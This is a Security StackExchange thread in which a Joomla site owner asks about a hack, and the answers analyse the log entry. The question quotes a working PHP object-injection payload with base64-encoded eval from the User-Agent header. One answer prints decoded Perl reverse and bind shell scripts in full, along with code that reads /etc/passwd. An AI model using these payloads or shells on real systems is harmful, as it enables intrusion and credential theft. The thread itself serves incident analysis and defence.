5

Please see below the log entry from the hack, I have decoded the base_64 code and ultimately some files are dropped onto the server and a directory listing becomes available among other niceties!

Could someone please explain what weakness this is exploiting? Our site is running Joomla 3.4 I have updated Joomla and set folder and file permissions to 755/644 respectively. PHP version is 5.3.23.

On 11th March I reset this site back to the original git push we made back in April last year and was surprised that following that our site was hacked again.

I would really like to know if it is a PHP vulnerability or Joomla so I can decide on the best course of action.

208.78.220.143 - - [12/Mar/2016:07:06:30 +0000] "GET / HTTP/1.0" 200 21849 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3702:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlh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1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
Mark Buffalo
  • 22,508
  • 8
  • 74
  • 91
Basicmanthz
  • 63
  • 1
  • 3
  • a quick search revealed: https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/ – schroeder Mar 14 '16 at 21:22
  • and https://www.exploit-db.com/exploits/38977/ – schroeder Mar 14 '16 at 21:24
  • thank you, updating Joomla should solve the issue. thanks for the quick response :) – Basicmanthz Mar 14 '16 at 21:37
  • 3
    FYI - this site's general advice for dealing with corrupted servers is to wipe the disk, reinstall OS and apps from scratch, fix the vulnerability(s), and then bring the site back online. See [How do I deal with a compromised server?](https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server). – Neil Smithline Mar 14 '16 at 21:43
  • 2
    Your install of Joomla is over a year old. Many security vulnerabilities have been discovered since. I recommend setting up an automated alerts system of some kind generated by their RSS feed at http://feeds.joomla.org/JoomlaSecurityNews And then update immediately as well as manually check as frequent as you can. If there is no reason someone should be able to create files via your website's code base then I also recommend setting everything to 644 unless you are running an update. – Bacon Brad Mar 14 '16 at 23:38
  • I have updated Joomla, reset all the passwords, checked files against my git repo and removed all files that were infected. everything appears to be OK now. – Basicmanthz Mar 16 '16 at 19:35

2 Answers2

18

This is a JSON Deserialize Remote Code Execution Attempt

This answer will be made based on the assumption that your website was hacked. If it wasn't hacked, and these files were not loaded, then it's only a hack attempt. If you found suspicious files, you've probably been hacked.

This is essentially a Remote Code Execution exploit in that loads multiple shells on your server, and tries to exfiltrate (steal) configuration files, system passwords, etc.

What it's doing is exploiting a problem with a JSON deserialization feature which allows remote code execution. Once it's onto your server, it starts chaining off multiple functions and loading multiple shells.

It also turns off your error logging when it doesn't want you to know what's going on:

@error_reporting(0);

There are lots of other things going on, and the code tries to prevent you from following what it's doing. It doesn't do a very good job for the most part, but once it loads the shells, all bets are off.


The Exploit Attempt Entry Point

In this JSON blob, you can see here that they attempt to throw eval(base64_decode("hacked contents")); into the feed_url parameter.

\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";

Nifty, huh?


You can't just nuke from orbit. Your credentials may have been stolen

You'll probably be well-served by changing all of your usernames and passwords, not just nuking from orbit. This script attempts to steal all of your configuration files, and your system password.

See this:

flush();
$file = '/etc/passwd';
$read = @fopen($file, 'r');

...and this file as well.


This allows shells to run on your server

A PHP shell, and a Perl shell:

Here's the Perl Shell:

  1. File 1:

    #!/usr/bin/perl
    
    use Socket;
    $iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
    $paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
    $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system('/bin/sh -i');
    close(STDIN);
    
    close(STDOUT);
    close(STDERR);
    
  2. File 2:

    #!/usr/bin/perl
    
    $SHELL = "/bin/sh -i";
    if (@ARGV < 1) {
        exit(1);
    }
    
    use Socket;
    
    socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
    
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    
    bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
    
    listen(S, 3) || die "Cant listen port\n";
    
    while (1) {
        accept(CONN, S);
    
            if (!($pid = fork)) {
    
            die "Cannot fork"
    
            if (!defined $pid);
    
            open STDIN, "<&CONN";
    
            open STDOUT, ">&CONN";
    
            open STDERR, ">&CONN";
    
            exec $SHELL || die print CONN "Cant execute $SHELL\n";
            close CONN;
    
            exit 0;
        }
    }
    

Malicious Source Files

I decoded the malicious source code. If you're interested in it, check the following links below:


Too Long, Didn't Read

Nuke from orbit, and change all usernames and passwords. They may have full access.


Would you like to know more?

You can learn how to do this yourself. Check out this thread: I found unknown PHP code on my server. How do I de-obfuscate the code?

Mark Buffalo
  • 22,508
  • 8
  • 74
  • 91
  • Thank you for your in depth analysis. Will not prove you wrong. As I stated earlier in the comments, it is needed to reset the whole system. – honze Mar 15 '16 at 00:41
  • 1
    Yep, you need to reset all the usernames and passwords as well. – Mark Buffalo Mar 15 '16 at 00:41
  • This is a very indepth analysis I really appreciate the effort you have gone to. But Jeez this is scary! This site is one of several running on the server but it is locked down so it can only access the files from document root upwards for writing. However /etc/passwd is readable but /etc/shadow is not. Should I worry about the other sites? The passwords are secure. I have been monitoring the log files but haven't seen anything unusual since. I have disabled ssh access to all the sites too. Thanks. – Basicmanthz Mar 16 '16 at 19:52
  • Well, did you verify if any of these files were created? Keep in mind that it's an *attempt*. As an attempt, it doesn't necessarily mean that you were compromised, and it doesn't necessarily mean everything else went off without a hitch. There are multiple attempts to do seemingly everything they possibly can, including escalating access. Installing a Perl shell could allow *full* remote access to your *entire server*. – Mark Buffalo Mar 16 '16 at 19:55
  • Look in `hxxp://www.yourwebsite.com/libraries/joomla/jmail.php` – Mark Buffalo Mar 16 '16 at 20:16
  • yes they did create the first file and then created the and a .htaccess file and Donnazmi.txt file which was linked to the doc root folder and provided a directory listing. I have dealt with those files. and checked the other files against by git repo, they did modify the session.php file but I have resolved that with an update to Joomla. – Basicmanthz Mar 16 '16 at 20:18
  • there is no jmail.php, I did decode the base_64 and checked the other files that were to be created none of them exist. – Basicmanthz Mar 16 '16 at 20:20
  • Is this attempt to hack a risk for *only* Joomla or is it an ongoing risk in general PHP CMS deployment? – Martin Apr 26 '19 at 11:07
-2

This looks lika RCE Exploit. As you stated, the exploit loads some shell via pastebin. Your server got owned. I recommend a clean install of the whole server. The attacker could have gathered the same privileges as you. You have to reset all passwords. Resetting to a earlier version will reopen this vulnerability in your Joomla version. Please update to the most recent stable version of Joomla.

This answer is the quick tl;dr. For a deeper analysis see: https://security.stackexchange.com/a/117448/104357

honze
  • 1,106
  • 1
  • 9
  • 19
  • Git status showed me the files that had been created so they have been removed and I have updated to the latest version of Joomla which fixes this exploit. Hopefully all clear now :) – Basicmanthz Mar 14 '16 at 21:40
  • Please have a look into your database, in order to if there are any new users or granted rights etc. If it is a root server, please make sure no local system users are created for backdooring the server. Thank you for sharing your experience! I will investigate the shells for further study. – honze Mar 14 '16 at 21:44
  • 2
    @honze I think this answer is woefully incomplete and potentially conveys a false sense of security: after going over the code, it appears that your credentials were likely stolen, so your username and passwords probably need to be changed, or the hacker can keep doing the same stuff over and over. I've expounded on what's going on here in my answer. – Mark Buffalo Mar 14 '16 at 23:33
  • I think this is too vague and incomplete to adequately explain what happened. SQLi is not the same thing as RCE. – h4ckNinja Mar 15 '16 at 00:24
  • SQL is probably not needed. I will remove that from my answer. – honze Mar 15 '16 at 00:46